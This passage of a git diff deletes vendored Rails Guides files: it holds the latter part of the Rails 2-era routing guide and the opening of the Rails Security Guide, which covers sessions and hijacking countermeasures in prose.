-* +:controller+
-* +:singular+
-* +:requirements+
-* +:conditions+
-* +:as+
-* +:path_names+
-* +:path_prefix+
-* +:name_prefix+
-* +:only+
-* +:except+
-
-You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide.
-
-h5. Using +:controller+
-
-The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:
-
-<ruby>
-map.resources :photos, :controller => "images"
-</ruby>
-
-will recognize incoming URLs containing +photo+ but route the requests to the Images controller:
-
-|_.HTTP verb|_.URL           |_.controller|_.action |_.used for|
-|GET        |/photos         |Images      |index    |display a list of all images|
-|GET        |/photos/new     |Images      |new      |return an HTML form for creating a new image|
-|POST       |/photos         |Images      |create   |create a new image|
-|GET        |/photos/1       |Images      |show     |display a specific image|
-|GET        |/photos/1/edit  |Images      |edit     |return an HTML form for editing a image|
-|PUT        |/photos/1       |Images      |update   |update a specific image|
-|DELETE     |/photos/1       |Images      |destroy  |delete a specific image|
-
-NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
-
-h4. Controller Namespaces and Routing
-
-Rails allows you to group your controllers into namespaces by saving them in folders underneath +app/controllers+. The +:controller+ option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the +admin+ folder:
-
-<ruby>
-map.resources :adminphotos, :controller => "admin/photos"
-</ruby>
-
-If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +&lt;%= link_to "show", adminphoto(1) %&gt;+ you will end up on the view generated by +admin/photos/show+, but you will also end up in the same place if you have +&lt;%= link_to "show", {:controller => "photos", :action => "show"} %&gt;+ because Rails will generate the show URL relative to the current URL.
-
-TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +&lt;%= link_to "show", {:controller => "/photos", :action => "show"} %&gt;+
-
-You can also specify a controller namespace with the +:namespace+ option instead of a path:
-
-<ruby>
-map.resources :adminphotos, :namespace => "admin", :controller => "photos"
-</ruby>
-
-This can be especially useful when combined with +with_options+ to map multiple namespaced routes together:
-
-<ruby>
-map.with_options(:namespace => "admin") do |admin|
-  admin.resources :photos, :videos
-end
-</ruby>
-
-That would give you routing for +admin/photos+ and +admin/videos+ controllers.
-
-h5. Using +:singular+
-
-If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option:
-
-<ruby>
-map.resources :teeth, :singular => "tooth"
-</ruby>
-
-TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead.
-
-h5. Using +:requirements+
-
-You can use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example:
-
-<ruby>
-map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
-</ruby>
-
-This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would.
-
-h5. Using +:conditions+
-
-Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)
-
-h5. Using +:as+
-
-The +:as+ option lets you override the normal naming for the actual generated paths. For example:
-
-<ruby>
-map.resources :photos, :as => "images"
-</ruby>
-
-will recognize incoming URLs containing +image+ but route the requests to the Photos controller:
-
-|_.HTTP verb|_.URL           |_.controller|_.action |_:used for|
-|GET        |/images         |Photos      |index    |display a list of all photos|
-|GET        |/images/new     |Photos      |new      |return an HTML form for creating a new photo|
-|POST       |/images         |Photos      |create   |create a new photo|
-|GET        |/images/1       |Photos      |show     |display a specific photo|
-|GET        |/images/1/edit  |Photos      |edit     |return an HTML form for editing a photo|
-|PUT        |/images/1       |Photos      |update   |update a specific photo|
-|DELETE     |/images/1       |Photos      |destroy  |delete a specific photo|
-
-NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
-
-h5. Using +:path_names+
-
-The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs:
-
-<ruby>
-map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-</ruby>
-
-This would cause the routing to recognize URLs such as
-
-<pre>
-/photos/make
-/photos/1/change
-</pre>
-
-NOTE: The actual action names aren't changed by this option; the two URLs shown would still route to the new and edit actions.
-
-TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:
-
-<ruby>
-config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
-</ruby>
-
-h5. Using +:path_prefix+
-
-The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:
-
-<ruby>
-map.resources :photos, :path_prefix => '/photographers/:photographer_id'
-</ruby>
-
-Routes recognized by this entry would include:
-
-<pre>
-/photographers/1/photos/2
-/photographers/1/photos
-</pre>
-
-NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
-
-NOTE: You can also use +:path_prefix+ with non-RESTful routes.
-
-h5. Using +:name_prefix+
-
-You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example:
-
-<ruby>
-map.resources :photos, :path_prefix => '/photographers/:photographer_id',
-  :name_prefix => 'photographer_'
-map.resources :photos, :path_prefix => '/agencies/:agency_id',
-  :name_prefix => 'agency_'
-</ruby>
-
-This combination will give you route helpers such as +photographer_photos_path+ and +agency_edit_photo_path+ to use in your code.
-
-NOTE: You can also use +:name_prefix+ with non-RESTful routes.
-
-h5. Using +:only+ and +:except+
-
-By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated:
-
-<ruby>
-map.resources :photos, :only => [:index, :show]
-</ruby>
-
-With this declaration, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the create action) will fail.
-
-The +:except+ option specifies a route or list of routes that should _not_ be generated:
-
-<ruby>
-map.resources :photos, :except => :destroy
-</ruby>
-
-In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/<em>id</em>+) will be generated.
-
-In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options.
-
-TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-
-h4. Nested Resources
-
-It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
-
-<ruby>
-class Magazine < ActiveRecord::Base
-  has_many :ads
-end
-
-class Ad < ActiveRecord::Base
-  belongs_to :magazine
-end
-</ruby>
-
-Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:
-
-<ruby>
-map.resources :magazines do |magazine|
-  magazine.resources :ads
-end
-</ruby>
-
-TIP: Further below you'll learn about a convenient shortcut for this construct:<br/>+map.resources :magazines, :has_many => :ads+.
-
-In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:
-
-|_.HTTP verb|_.URL                    |_.controller|_.action |_.used for|
-|GET        |/magazines/1/ads         |Ads         |index    |display a list of all ads for a specific magazine|
-|GET        |/magazines/1/ads/new     |Ads         |new      |return an HTML form for creating a new ad belonging to a specific magazine|
-|POST       |/magazines/1/ads         |Ads         |create   |create a new ad belonging to a specific magazine|
-|GET        |/magazines/1/ads/1       |Ads         |show     |display a specific ad belonging to a specific magazine|
-|GET        |/magazines/1/ads/1/edit  |Ads         |edit     |return an HTML form for editing an ad belonging to a specific magazine|
-|PUT        |/magazines/1/ads/1       |Ads         |update   |update a specific ad belonging to a specific magazine|
-|DELETE     |/magazines/1/ads/1       |Ads         |destroy  |delete a specific ad belonging to a specific magazine|
-
-
-This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+.
-
-h5. Using +:name_prefix+
-
-The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example,
-
-<ruby>
-map.resources :magazines do |magazine|
-  magazine.resources :ads, :name_prefix => 'periodical'
-end
-</ruby>
-
-This will create routing helpers such as +periodical_ads_url+ and +periodical_edit_ad_path+. You can even use +:name_prefix+ to suppress the prefix entirely:
-
-<ruby>
-map.resources :magazines do |magazine|
-  magazine.resources :ads, :name_prefix => nil
-end
-</ruby>
-
-This will create routing helpers such as +ads_url+ and +edit_ad_path+. Note that calling these will still require supplying an article id:
-
-<ruby>
-ads_url(@magazine)
-edit_ad_path(@magazine, @ad)
-</ruby>
-
-h5. Using +:has_one+ and +:has_many+
-
-The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource:
-
-<ruby>
-map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
-</ruby>
-
-This has the same effect as this set of declarations:
-
-<ruby>
-map.resources :photos do |photo|
-  photo.resource :photographer
-  photo.resources :publications
-  photo.resources :versions
-end
-</ruby>
-
-h5. Limits to Nesting
-
-You can nest resources within other nested resources if you like. For example:
-
-<ruby>
-map.resources :publishers do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-</ruby>
-
-However, without the use of +name_prefix => nil+, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as
-
-<pre>
-/publishers/1/magazines/2/photos/3
-</pre>
-
-The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular "article":http://weblog.jamisbuck.org/2007/2/5/nesting-resources by Jamis Buck proposes a rule of thumb for good Rails design:
-
-TIP: _Resources should never be nested more than 1 level deep._
-
-h5. Shallow Nesting
-
-The +:shallow+ option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an +:id+ parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:
-
-<ruby>
-map.resources :publishers, :shallow => true do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-</ruby>
-
-This will enable recognition of (among others) these routes:
-
-<pre>
-/publishers/1           ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2            ==> magazine_path(2)
-/magazines/2/photos     ==> magazines_photos_path(2)
-/photos/3               ==> photo_path(3)
-</pre>
-
-With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ options:
-
-<ruby>
-map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
-</ruby>
-
-h4. Route Generation from Arrays
-
-In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:
-
-<ruby>
-map.resources :magazines do |magazine|
-  magazine.resources :ads
-end
-</ruby>
-
-Rails will generate helpers such as magazine_ad_path that you can use in building links:
-
-<ruby>
-<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-</ruby>
-
-Another way to refer to the same route is with an array of objects:
-
-<ruby>
-<%= link_to "Ad details", [@magazine, @ad] %>
-</ruby>
-
-This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.
-
-h4. Namespaced Resources
-
-It's possible to do some quite complex things by combining +:path_prefix+ and +:name_prefix+. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:
-
-<ruby>
-map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
-map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
-map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
-</ruby>
-
-The good news is that if you find yourself using this level of complexity, you can stop. Rails supports _namespaced resources_ to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:
-
-<ruby>
-map.namespace(:admin) do |admin|
-	admin.resources :photos,
-	  :has_many => { :tags, :ratings}
-end
-</ruby>
-
-As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get +admin_photos_url+ that expects to find an +Admin::PhotosController+ and that matches +admin/photos+, and +admin_photos_ratings_path+ that matches +/admin/photos/_photo_id_/ratings+, expecting to use +Admin::RatingsController+. Even though you're not specifying +path_prefix+ explicitly, the routing code will calculate the appropriate +path_prefix+ from the route nesting.
-
-h4. Adding More RESTful Actions
-
-You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).
-
-h5. Adding Member Routes
-
-To add a member route, use the +:member+ option:
-
-<ruby>
-map.resources :photos, :member => { :preview => :get }
-</ruby>
-
-This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a +preview_photo+ route helper.
-
-Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use +:get+, +:put+, +:post+, +:delete+, or +:any+ here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:
-
-<ruby>
-map.resources :photos, :member => { :prepare => [:get, :post] }
-</ruby>
-
-h5. Adding Collection Routes
-
-To add a collection route, use the +:collection+ option:
-
-<ruby>
-map.resources :photos, :collection => { :search => :get }
-</ruby>
-
-This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a +search_photos+ route helper.
-
-Just as with member routes, you can specify an array of methods for a collection route:
-
-<ruby>
-map.resources :photos, :collection => { :search => [:get, :post] }
-</ruby>
-
-h5. Adding New Routes
-
-To add a new route (one that creates a new resource), use the +:new+ option:
-
-<ruby>
-map.resources :photos, :new => { :upload => :post }
-</ruby>
-
-This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a +upload_photos+ route helper.
-
-TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:<br/>+map.resources :photos, :new => { :new => :any }+<br/>This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use.
-
-h5. A Note of Caution
-
-If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the +:member+ and +:collection+ hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.
-
-h3. Regular Routes
-
-In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.
-
-While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.
-
-h4. Bound Parameters
-
-When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
-
-<ruby>
-map.connect ':controller/:action/:id'
-</ruby>
-
-If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +Photos+ controller, and to make the final parameter (1) available as +params[:id]+.
-
-h4. Wildcard Components
-
-You can set up as many wildcard symbols within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the matching action as part of the params hash. So, if you set up this route:
-
-<ruby>
-map.connect ':controller/:action/:id/:user_id'
-</ruby>
-
-An incoming URL of +/photos/show/1/2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be set to 2.
-
-h4. Static Text
-
-You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:
-
-<ruby>
-map.connect ':controller/:action/:id/with_user/:user_id'
-</ruby>
-
-This route would respond to URLs such as +/photos/show/1/with_user/2+.
-
-h4. Querystring Parameters
-
-Rails routing automatically picks up querystring parameters and makes them available in the +params+ hash. For example, with this route:
-
-<ruby>
-map.connect ':controller/:action/:id'
-</ruby>
-
-An incoming URL of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be equal to 2.
-
-h4. Defining Defaults
-
-You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply defaults for these two parameters in a hash:
-
-<ruby>
-map.connect 'photos/:id', :controller => 'photos', :action => 'show'
-</ruby>
-
-With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller.
-
-You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
-
-<ruby>
-map.connect 'photos/:id', :controller => 'photos', :action => 'show',
-  :defaults => { :format => 'jpg' }
-</ruby>
-
-With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+.
-
-h4. Named Routes
-
-Regular routes need not use the +connect+ method. You can use any other name here to create a _named route_. For example,
-
-<ruby>
-map.logout '/logout', :controller => 'sessions', :action => 'destroy'
-</ruby>
-
-This will do two things. First, requests to +/logout+ will be sent to the +destroy+ method of the +Sessions+ controller. Second, Rails will maintain the +logout_path+ and +logout_url+ helpers for use within your code.
-
-h4. Route Requirements
-
-You can use the +:requirements+ option to enforce a format for any parameter in a route:
-
-<ruby>
-map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :requirements => { :id => /[A-Z]\d{5}/ }
-</ruby>
-
-This route would respond to URLs such as +/photo/A12345+. You can more succinctly express the same route this way:
-
-<ruby>
-map.connect 'photo/:id', :controller => 'photos', :action => 'show',
-  :id => /[A-Z]\d{5}/
-</ruby>
-
-h4. Route Conditions
-
-Route conditions (introduced with the +:conditions+ option) are designed to implement restrictions on routes. Currently, the only supported restriction is +:method+:
-
-<ruby>
-map.connect 'photo/:id', :controller => 'photos', :action => 'show',
- :conditions => { :method => :get }
-</ruby>
-
-As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +:delete+, or +:any+ for the acceptable method.
-
-h4. Route Globbing
-
-Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
-
-<ruby>
-map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
-</ruby>
-
-This route would match +photo/12+ or +/photo/long/path/to/12+ equally well, creating an array of path segments as the value of +params[:other]+.
-
-h4. Route Options
-
-You can use +:with_options+ to simplify defining groups of similar routes:
-
-<ruby>
-map.with_options :controller => 'photo' do |photo|
-  photo.list '', :action => 'index'
-  photo.delete ':id/delete', :action => 'delete'
-  photo.edit ':id/edit', :action => 'edit'
-end
-</ruby>
-
-The importance of +map.with_options+ has declined with the introduction of RESTful routes.
-
-h3. Formats and +respond_to+
-
-There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route.
-
-For instance, consider the second of the default routes in the boilerplate +routes.rb+ file:
-
-<ruby>
-map.connect ':controller/:action/:id.:format'
-</ruby>
-
-This route matches requests such as +/photo/edit/1.xml+ or +/photo/show/2.rss+. Within the appropriate action code, you can issue different responses depending on the requested format:
-
-<ruby>
-respond_to do |format|
-  format.html # return the default template for HTML
-  format.xml { render :xml => @photo.to_xml }
-end
-</ruby>
-
-h4. Specifying the Format with an HTTP Header
-
-If there is no +:format+ parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.
-
-h4. Recognized MIME types
-
-By default, Rails recognizes +html+, +text+, +json+, +csv+, +xml+, +rss+, +atom+, and +yaml+ as acceptable response types. If you need types beyond this, you can register them in your environment:
-
-<ruby>
-Mime::Type.register "image/jpg", :jpg
-</ruby>
-
-h3. The Default Routes
-
-When you create a new Rails application, +routes.rb+ is initialized with two default routes:
-
-<ruby>
-map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-</ruby>
-
-These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.
-
-NOTE: The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
-
-h3. The Empty Route
-
-Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route.
-
-h4. Using +map.root+
-
-The preferred way to set up the empty route is with the +map.root+ command:
-
-<ruby>
-map.root :controller => "pages", :action => "main"
-</ruby>
-
-The use of the +root+ method tells Rails that this route applies to requests for the root of the site.
-
-For better readability, you can specify an already-created route in your call to +map.root+:
-
-<ruby>
-map.index 'index', :controller => "pages", :action => "main"
-map.root :index
-</ruby>
-
-Because of the top-down processing of the file, the named route must be specified _before_ the call to +map.root+.
-
-h4. Connecting the Empty String
-
-You can also specify an empty route by explicitly connecting the empty string:
-
-<ruby>
-map.connect '', :controller => "pages", :action => "main"
-</ruby>
-
-TIP: If the empty route does not seem to be working in your application, make sure that you have deleted the file +public/index.html+ from your Rails tree.
-
-h3. Inspecting and Testing Routes
-
-Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.
-
-h4. Seeing Existing Routes with +rake+
-
-If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see:
-
-* The route name (if any)
-* The HTTP verb used (if the route doesn't respond to all verbs)
-* The URL pattern
-* The routing parameters that will be generated by this URL
-
-For example, here's a small section of the +rake routes+ output for a RESTful route:
-
-<pre>
-          users GET  /users          {:controller=>"users", :action=>"index"}
-formatted_users GET  /users.:format  {:controller=>"users", :action=>"index"}
-                POST /users          {:controller=>"users", :action=>"create"}
-                POST /users.:format  {:controller=>"users", :action=>"create"}
-</pre>
-
-TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
-
-h4. Testing Routes
-
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler:
-
-* +assert_generates+
-* +assert_recognizes+
-* +assert_routing+
-
-h5. The +assert_generates+ Assertion
-
-Use +assert_generates+ to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes
-
-<ruby>
-assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
-assert_generates "/about", :controller => "pages", :action => "about"
-</ruby>
-
-h5. The +assert_recognizes+ Assertion
-
-The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
-
-<ruby>
-assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
-</ruby>
-
-You can supply a +:method+ argument to specify the HTTP verb:
-
-<ruby>
-assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
-</ruby>
-
-You can also use the RESTful helpers to test recognition of a RESTful route:
-
-<ruby>
-assert_recognizes new_photo_url, { :path => "photos", :method => :post }
-</ruby>
-
-h5. The +assert_routing+ Assertion
-
-The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
-
-<ruby>
-assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
-</ruby>
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3
-
-* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy
-* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy
-* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy
diff --git a/vendor/rails/railties/guides/source/security.textile b/vendor/rails/railties/guides/source/security.textile
deleted file mode 100644
index 430bf083..00000000
--- a/vendor/rails/railties/guides/source/security.textile
+++ /dev/null
@@ -1,986 +0,0 @@
-h2. Ruby On Rails Security Guide
-
-This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
-mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
-
-* All countermeasures _(highlight)that are highlighted_
-* The concept of sessions in Rails, what to put in there and popular attack methods
-* How just visiting a site can be a security problem (with CSRF)
-* What you have to pay attention to when working with files or providing an administration interface
-* The Rails-specific mass assignment problem
-* How to manage users: Logging in and out and attack methods on all layers
-* And the most popular injection attack methods
-
-endprologue.
-
-h3. Introduction
-
-Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.
-
-In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
-
-The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
-
-The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
-
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems.
-
-h3. Sessions
-
-A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
-
-h4. What are Sessions?
-
--- _HTTP is a stateless protocol. Sessions make it stateful._
-
-Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
-Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
-
-A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
-
-<ruby>
-session[:user_id] = @current_user.id
-User.find(session[:user_id])
-</ruby>
-
-h4. Session id
-
--- _The session id is a 32 byte long MD5 hash value._
-
-A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
-
-h4. Session Hijacking
-
--- _Stealing a user's session id lets an attacker use the web application in the victim's name._
-
-Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
-
-Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_.
-
-* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
-
-* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
-
-h4. Session Guidelines
-
--- _Here are some general guidelines on sessions._
-
-* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-
-* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-
-
-h4. Session Storage
-
--- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._
-
-There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
-
-Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
-
